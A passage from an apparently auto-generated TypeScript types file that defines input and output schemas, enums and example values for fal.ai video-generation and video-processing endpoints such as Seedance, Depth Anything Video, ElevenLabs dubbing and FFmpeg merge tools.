typeof inputFalAiBytedanceSeedanceV1ProFastTextToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV1ProFastTextToVideo = { + /** + * @description The text prompt used to generate the video + * @example Inside a quiet dojo, a martial artist moves with precision and grace. The performance highlights the beauty and discipline inherent in the ancient practice. Each form unfolds clearly, a testament to dedication and skill. + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV1ProFastTextToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV1ProFastTextToVideoAspectRatioEnumKey + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description The number of frames to generate. If provided, will override duration. + */ + num_frames?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV1ProFastTextToVideoDurationEnumKey +} + +export type File15038487 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV1ProFastTextToVideo = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/seedance_fast_t2v_output.mp4"} + * @type object + */ + video: File15038487 + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiBytedanceSeedanceV1ProImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV1ProImageToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProImageToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProImageToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV1ProImageToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + auto: 'auto', +} as const + +export type InputFalAiBytedanceSeedanceV1ProImageToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProImageToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProImageToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV1ProImageToVideoDurationEnum = { + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV1ProImageToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProImageToVideoDurationEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProImageToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV1ProImageToVideo = { + /** + * @description The text prompt used to generate the video + * @example A skier glides over fresh snow, joyously smiling while kicking up large clouds of snow as he turns. Accelerating gradually down the slope, the camera moves smoothly alongside. + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV1ProImageToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV1ProImageToVideoAspectRatioEnumKey + /** + * @description The URL of the image used to generate video + * @example https://storage.googleapis.com/falserverless/example_inputs/seedance_pro_i2v_img.jpg + * @type string + */ + image_url: string + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description The number of frames to generate. If provided, will override duration. + */ + num_frames?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV1ProImageToVideoDurationEnumKey + /** + * @description The URL of the image the video ends with. Defaults to None. + */ + end_image_url?: string | null +} + +export type File23C4924C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV1ProImageToVideo = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/seedance_pro_i2v.mp4"} + * @type object + */ + video: File23C4924C + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiBytedanceSeedanceV1ProTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiBytedanceSeedanceV1ProTextToVideoResolutionEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProTextToVideoResolutionEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProTextToVideoResolutionEnum] + +export const inputFalAiBytedanceSeedanceV1ProTextToVideoAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiBytedanceSeedanceV1ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProTextToVideoAspectRatioEnum] + +export const inputFalAiBytedanceSeedanceV1ProTextToVideoDurationEnum = { + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', +} as const + +export type InputFalAiBytedanceSeedanceV1ProTextToVideoDurationEnumKey = + (typeof inputFalAiBytedanceSeedanceV1ProTextToVideoDurationEnum)[keyof typeof inputFalAiBytedanceSeedanceV1ProTextToVideoDurationEnum] + +export type InputFalAiBytedanceSeedanceV1ProTextToVideo = { + /** + * @description The text prompt used to generate the video + * @example A bright blue race car speeds along a snowy racetrack. [Low-angle shot] Captures several cars speeding along the racetrack through a harsh snowstorm. [Overhead shot] The camera gradually pulls upward, revealing the full race scene illuminated by storm lights + * @type string + */ + prompt: string + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for higher quality + * @default '1080p' + * @type string | undefined + */ + resolution?: InputFalAiBytedanceSeedanceV1ProTextToVideoResolutionEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiBytedanceSeedanceV1ProTextToVideoAspectRatioEnumKey + /** + * @description Random seed to control video generation. Use -1 for random. + */ + seed?: number | null + /** + * @description The number of frames to generate. If provided, will override duration. + */ + num_frames?: number | null + /** + * @description Whether to fix the camera position + * @default false + * @type boolean | undefined + */ + camera_fixed?: boolean + /** + * @description Duration of the video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiBytedanceSeedanceV1ProTextToVideoDurationEnumKey +} + +export type File6A5Ee5C2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiBytedanceSeedanceV1ProTextToVideo = { + /** + * @description Generated video file + * @example {"url":"https://storage.googleapis.com/falserverless/example_inputs/seedance_pro_t2v.mp4"} + * @type object + */ + video: File6A5Ee5C2 + /** + * @description Seed used for generation + * @example 42 + * @type integer + */ + seed: number +} + +export const inputFalAiCreatifyAuroraResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiCreatifyAuroraResolutionEnumKey = + (typeof inputFalAiCreatifyAuroraResolutionEnum)[keyof typeof inputFalAiCreatifyAuroraResolutionEnum] + +export type InputFalAiCreatifyAurora = { + /** + * @description Guidance scale to be used for audio adherence. + * @default 2 + */ + audio_guidance_scale?: number | null + /** + * @description A text prompt to guide the video generation process. + * @example 4K studio interview, medium close-up (shoulders-up crop). Solid light-grey seamless backdrop, uniform soft key-light—no lighting change. Presenter faces lens, steady eye-contact. Hands remain below frame, body perfectly still. Ultra-sharp. + */ + prompt?: string | null + /** + * @description Guidance scale to be used for text prompt adherence. + * @default 1 + */ + guidance_scale?: number | null + /** + * @description The URL of the audio file to be used for video generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/creatify/aurora/input.wav + * @type string + */ + audio_url: string + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiCreatifyAuroraResolutionEnumKey + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image file to be used for video generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/creatify/aurora/input_.png + * @type string + */ + image_url: string +} + +export type VideoFile179Ef5F2 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The duration of the video + */ + duration?: number | null +} + +export type OutputFalAiCreatifyAurora = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/creatify/aurora/output.mp4","content_type":"video/mp4","file_name":"output.mp4"} + * @type object + */ + video: VideoFile179Ef5F2 +} + +export const inputFalAiDavinciMagihumanResolutionEnum = { + '256p': '256p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiDavinciMagihumanResolutionEnumKey = + (typeof inputFalAiDavinciMagihumanResolutionEnum)[keyof typeof inputFalAiDavinciMagihumanResolutionEnum] + +export type InputFalAiDavinciMagihuman = { + /** + * @description If enabled, runs safety checks on the prompt and input image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration of the generated video in seconds. + * @minimum 1 + * @maximum 30 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Number of denoising steps. Defaults to 8 for 256p and 32 for 540p/720p/1080p (base + SR). + */ + num_inference_steps?: number | null + /** + * @description URL of the reference image for image-to-video generation. + * @example https://v3b.fal.media/files/b/0a93a275/W1Nnkr552fPfcTuE2UgKL_Zmt1dxWICl_oX5nbuMVLQ.jpeg + * @type string + */ + image_url: string + /** + * @description Optional URL of the driving audio for lipsync mode. If omitted, audio is generated from the prompt. + */ + audio_url?: string | null + /** + * @description Classifier-free guidance scale. + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Output resolution. '256p' uses the official base-model 448x256 path. '1080p' uses the official base + 1080p super-resolution pipeline. '540p' and '720p' reuse that sharper 1080p SR path and downsample to the requested output size. + * @default '256p' + * @type string | undefined + */ + resolution?: InputFalAiDavinciMagihumanResolutionEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description Text prompt describing the desired video content. + * @minLength 1 + * @example A woman is walking through a metro station and says, 'I love walking through this station, it always feels so alive.' + * @type string + */ + prompt: string +} + +export type FileAe1B9390 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiDavinciMagihuman = { + /** + * @description The generated video with synchronized audio. + * @default {"url":"https://v3b.fal.media/files/b/0a93a27d/-iFpecUCsSdwXVMevsZa3_output_5s_448x256.mp4"} + * @type object | undefined + */ + video?: FileAe1B9390 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiDepthAnythingVideoModelEnum = { + 'VDA-Small': 'VDA-Small', + 'VDA-Base': 'VDA-Base', + 'VDA-Large': 'VDA-Large', +} as const + +export type InputFalAiDepthAnythingVideoModelEnumKey = + (typeof inputFalAiDepthAnythingVideoModelEnum)[keyof typeof inputFalAiDepthAnythingVideoModelEnum] + +export const inputFalAiDepthAnythingVideoResolutionEnum = { + auto: 'auto', + '360p': '360p', + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiDepthAnythingVideoResolutionEnumKey = + (typeof inputFalAiDepthAnythingVideoResolutionEnum)[keyof typeof inputFalAiDepthAnythingVideoResolutionEnum] + +export const inputFalAiDepthAnythingVideoColormapEnum = { + grayscale: 'grayscale', + turbo: 'turbo', + inferno: 'inferno', + magma: 'magma', + viridis: 'viridis', +} as const + +export type InputFalAiDepthAnythingVideoColormapEnumKey = + (typeof inputFalAiDepthAnythingVideoColormapEnum)[keyof typeof inputFalAiDepthAnythingVideoColormapEnum] + +/** + * @description Input schema for video depth estimation. + * @type object + */ +export type InputFalAiDepthAnythingVideo = { + /** + * @description Depth estimation model size. VDA-Large = best quality, VDA-Small = fastest. + * @default 'VDA-Large' + * @type string | undefined + */ + model?: InputFalAiDepthAnythingVideoModelEnumKey + /** + * @description Output original | depth comparison video. + * @default false + * @type boolean | undefined + */ + side_by_side?: boolean + /** + * @description Max frames to process (max 2400). None = up to 2400. + */ + max_frames?: number | null + /** + * @description Output resolution. 'auto' preserves input (max 1080p). Options: 'auto', '360p', '480p', '720p', '1080p'. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiDepthAnythingVideoResolutionEnumKey + /** + * @description Colormap for depth visualization. 'turbo' (recommended) shows near=warm, far=cool. 'grayscale' for raw normalized depth. 'inferno'/'magma' for perceptually uniform. 'viridis' for colorblind-friendly. + * @default 'grayscale' + * @type string | undefined + */ + colormap?: InputFalAiDepthAnythingVideoColormapEnumKey + /** + * @description Export raw float32 depths as .npz file with: 'depths' [N,H,W], 'min_depth', 'max_depth', 'fps', 'model', 'shape'. + * @default false + * @type boolean | undefined + */ + include_raw_depths?: boolean + /** + * @description URL of the input video to estimate depth for. + * @example https://v3b.fal.media/files/b/0a8fb1c1/xNTrr7wtczzLBkJdyE5_f_7JTYCmQe.mp4 + * @type string + */ + video_url: string + /** + * @description Output video FPS. None = same as input. + */ + output_fps?: number | null +} + +export type File7301C01A = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output schema for video depth estimation. + * @type object + */ +export type OutputFalAiDepthAnythingVideo = { + /** + * @description Depth visualization video (MP4, H.264). + * @example {"url":"https://v3b.fal.media/files/b/0a909a72/bC4JmEhmaBIaMC4vRhhTq_depth_output.mp4"} + * @type object + */ + video: File7301C01A + /** + * @description Raw depth values as .npz (if include_raw_depths=True). + */ + raw_depths?: File7301C01A | null +} + +export const inputFalAiDwposeVideoDrawModeEnum = { + 'full-pose': 'full-pose', + 'body-pose': 'body-pose', + 'face-pose': 'face-pose', + 'hand-pose': 'hand-pose', + 'face-hand-mask': 'face-hand-mask', + 'face-mask': 'face-mask', + 'hand-mask': 'hand-mask', +} as const + +export type InputFalAiDwposeVideoDrawModeEnumKey = + (typeof inputFalAiDwposeVideoDrawModeEnum)[keyof typeof inputFalAiDwposeVideoDrawModeEnum] + +export type InputFalAiDwposeVideo = { + /** + * @description URL of video to be used for pose estimation + * @example https://storage.googleapis.com/falserverless/gallery/Ben2/100063-video-2160.mp4 + * @type string + */ + video_url: string + /** + * @description Mode of drawing the pose on the video. Options are: 'full-pose', 'body-pose', 'face-pose', 'hand-pose', 'face-hand-mask', 'face-mask', 'hand-mask'. + * @default 'body-pose' + * @example body-pose + * @type string | undefined + */ + draw_mode?: InputFalAiDwposeVideoDrawModeEnumKey +} + +export type FileF27A09De = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiDwposeVideo = { + /** + * @description The output video with pose estimation. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/dwpose-video-output.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileF27A09De +} + +export type InputFalAiEchomimicV3 = { + /** + * @description The URL of the image to use as a reference for the video generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/echo-mimic-input-image.png + * @type string + */ + image_url: string + /** + * @description The URL of the audio to use as a reference for the video generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/echo-mimic-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The negative prompt to use for the video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to use for the video generation. + * @example A person is in a relaxed pose. As the video progresses, the character speaks while arm and body movements are minimal and consistent with a natural speaking posture. Hand movements remain minimal. Don't blink too often. Preserve background integrity matching the reference image's spatial configuration, lighting conditions, and color temperature. + * @type string + */ + prompt: string + /** + * @description The number of frames to generate at once. + * @minimum 49 + * @maximum 161 + * @default 121 + * @type integer | undefined + */ + num_frames_per_generation?: number + /** + * @description The guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The seed to use for the video generation. + */ + seed?: number | null + /** + * @description The audio guidance scale to use for the video generation. + * @minimum 0 + * @maximum 10 + * @default 2.5 + * @type number | undefined + */ + audio_guidance_scale?: number +} + +export type File150Ba2F2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiEchomimicV3 = { + /** + * @description The generated video file. + * @example https://storage.googleapis.com/falserverless/example_outputs/echo-mimic-output.mp4 + * @type object + */ + video: File150Ba2F2 +} + +export type InputFalAiElevenlabsDubbing = { + /** + * @description Source language code. If not provided, will be auto-detected. + * @example en + * @example es + * @example fr + */ + source_lang?: string | null + /** + * @description Check input content for safety. Disabling requires account authorization. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of the video file to dub. Either audio_url or video_url must be provided. If both are provided, video_url takes priority. + * @example https://storage.googleapis.com/falserverless/example_inputs/elevenlabs/e11_dubbing_in.mp4 + */ + video_url?: string | null + /** + * @description Whether to use the highest resolution for dubbing. + * @default true + * @type boolean | undefined + */ + highest_resolution?: boolean + /** + * @description Target language code for dubbing (ISO 639-1) + * @example es + * @example fr + * @example de + * @example ja + * @example pt + * @example zh + * @type string + */ + target_lang: string + /** + * @description URL of the audio file to dub. Either audio_url or video_url must be provided. + */ + audio_url?: string | null + /** + * @description Number of speakers in the audio. If not provided, will be auto-detected. + */ + num_speakers?: number | null +} + +export type FileD3067Af7 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiElevenlabsDubbing = { + /** + * @description The dubbed video file. Will be populated if video_url was provided in the request. + * @example {"file_name":"e11_dubbing_out.mp4","url":"https://storage.googleapis.com/falserverless/example_outputs/elevenlabs/e11_dubbing_out.mp4","content_type":"video/mp4","file_size":1344041} + */ + video?: FileD3067Af7 | null + /** + * @description The target language of the dubbed content + * @example es + * @type string + */ + target_lang: string + /** + * @description The dubbed audio file. + */ + audio?: FileD3067Af7 | null +} + +export type Keyframe = { + /** + * @description The timestamp in milliseconds where this keyframe starts + * @type number + */ + timestamp: number + /** + * @description The duration in milliseconds of this keyframe + * @type number + */ + duration: number + /** + * @description The URL where this keyframe's media file can be accessed + * @type string + */ + url: string +} + +export type Track = { + /** + * @description Unique identifier for the track + * @type string + */ + id: string + /** + * @description Type of track ('video', 'audio', or 'image') + * @type string + */ + type: string + /** + * @description List of keyframes that make up this track + * @type array + */ + keyframes: Keyframe[] +} + +export type InputFalAiFfmpegApiCompose = { + /** + * @description List of tracks to be combined into the final media. Exactly one visual track (video or image) is required; any number of audio tracks may be included. + * @type array + */ + tracks: Track[] +} + +export type OutputFalAiFfmpegApiCompose = { + /** + * @description URL of the video's thumbnail image + * @type string + */ + thumbnail_url: string + /** + * @description URL of the processed video file + * @type string + */ + video_url: string +} + +export type ImageFrame = { + /** + * @description URL where the image file can be accessed + * @example https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png + * @type string + */ + url: string + /** + * @description Number of frames this image is held for in the output video. The on-screen duration is `frames / fps` seconds. + * @minimum 1 + * @maximum 1000 + * @type integer + */ + frames: number +} + +export type InputFalAiFfmpegApiImagesToVideo = { + /** + * @description Ordered list of images to play as video frames. Each image is held for its specified number of frames before cutting to the next image. + * @example [{"url":"https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png","frames":4},{"url":"https://v3.fal.media/files/tiger/c8VSfX5XtJ3DCzV-4Bxg8_kid_image.png","frames":2},{"url":"https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png","frames":4}] + * @type array + */ + images: ImageFrame[] + /** + * @description Frames per second of the output video. + * @minimum 1 + * @maximum 120 + * @default 24 + * @type number | undefined + */ + fps?: number +} + +export type File463D1Fc5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFfmpegApiImagesToVideo = { + /** + * @description Output MP4 video. + * @type object + */ + video: File463D1Fc5 +} + +export type InputFalAiFfmpegApiMergeAudioVideo = { + /** + * @description Offset in seconds for when the audio should start relative to the video + * @minimum 0 + * @default 0 + * @type number | undefined + */ + start_offset?: number + /** + * @description URL of the audio file to use as the audio track + * @example https://storage.googleapis.com/falserverless/example_inputs/ffmpeg-audio.wav + * @type string + */ + audio_url: string + /** + * @description URL of the video file to use as the video track + * @example https://storage.googleapis.com/falserverless/example_inputs/ffmpeg-video.mp4 + * @type string + */ + video_url: string +} + +export type FileD74Fcb62 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFfmpegApiMergeAudioVideo = { + /** + * @description Output video with merged audio. + * @type object + */ + video: FileD74Fcb62 +} + +export type ImageSize = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFfmpegApiMergeVideosResolution = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFfmpegApiMergeVideosResolutionKey = + (typeof inputFalAiFfmpegApiMergeVideosResolution)[keyof typeof inputFalAiFfmpegApiMergeVideosResolution] + +export type InputFalAiFfmpegApiMergeVideos = { + /** + * @description Zero-based index of the input video whose aspect ratio should be used when resolution is not provided. If omitted, preserves the default behavior of using the minimum width and minimum height across input videos. + */ + resolution_aspect_ratio_video_index?: number | null + /** + * @description Target FPS for the output video. If not provided, uses the lowest FPS from input videos. + */ + target_fps?: number | null + /** + * @description Resolution of the final video. Width and height must be between 512 and 2048. + */ + resolution?: ImageSize | InputFalAiFfmpegApiMergeVideosResolutionKey | null + /** + * @description List of video URLs to merge in order + * @type array + */ + video_urls: string[] +} + +export type FileE8A4B244 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFfmpegApiMergeVideos = { + /** + * @description Merged video file + * @type object + */ + video: FileE8A4B244 + /** + * @description Metadata about the merged video including original video info + * @type object + */ + metadata: object +} + +export const inputFalAiFilmVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiFilmVideoVideoWriteModeEnumKey = + (typeof inputFalAiFilmVideoVideoWriteModeEnum)[keyof typeof inputFalAiFilmVideoVideoWriteModeEnum] + +export const inputFalAiFilmVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiFilmVideoVideoQualityEnumKey = + (typeof inputFalAiFilmVideoVideoQualityEnum)[keyof typeof inputFalAiFilmVideoVideoQualityEnum] + +export type InputFalAiFilmVideo = { + /** + * @description If True, the function will use the calculated FPS of the input video multiplied by the number of frames to determine the output FPS. If False, the passed FPS will be used. + * @default true + * @type boolean | undefined + */ + use_calculated_fps?: boolean + /** + * @description If True, the final frame will be looped back to the first frame to create a seamless loop. If False, the final frame will not loop back. + * @default false + * @type boolean | undefined + */ + loop?: boolean + /** + * @description The URL of the video to use for interpolation. + * @example https://storage.googleapis.com/falserverless/example_inputs/interpolation-video-input.mp4 + * @type string + */ + video_url: string + /** + * @description Frames per second for the output video. Only applicable if use_calculated_fps is False. + * @minimum 1 + * @maximum 60 + * @default 8 + * @type integer | undefined + */ + fps?: number + /** + * @description The write mode of the output video. Only applicable if output_type is 'video'. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiFilmVideoVideoWriteModeEnumKey + /** + * @description If True, the input video will be split into scenes before interpolation. This removes smear frames between scenes, but can result in false positives if the scene detection is not accurate. If False, the entire video will be treated as a single scene. + * @default false + * @type boolean | undefined + */ + use_scene_detection?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality of the output video. Only applicable if output_type is 'video'. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiFilmVideoVideoQualityEnumKey + /** + * @description The number of frames to generate between the input video frames. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_frames?: number +} + +export type VideoFile19342Ad8 = { + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiFilmVideo = { + /** + * @description The generated video file with interpolated frames. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/film-video-output.mp4"} + * @type object + */ + video: VideoFile19342Ad8 +} + +export const inputFalAiFlashheadVoiceEnum = { + Aria: 'Aria', + Roger: 'Roger', + Sarah: 'Sarah', + Laura: 'Laura', + Charlie: 'Charlie', + George: 'George', + Callum: 'Callum', + River: 'River', + Liam: 'Liam', + Charlotte: 'Charlotte', + Alice: 'Alice', + Matilda: 'Matilda', + Will: 'Will', + Jessica: 'Jessica', + Eric: 'Eric', + Chris: 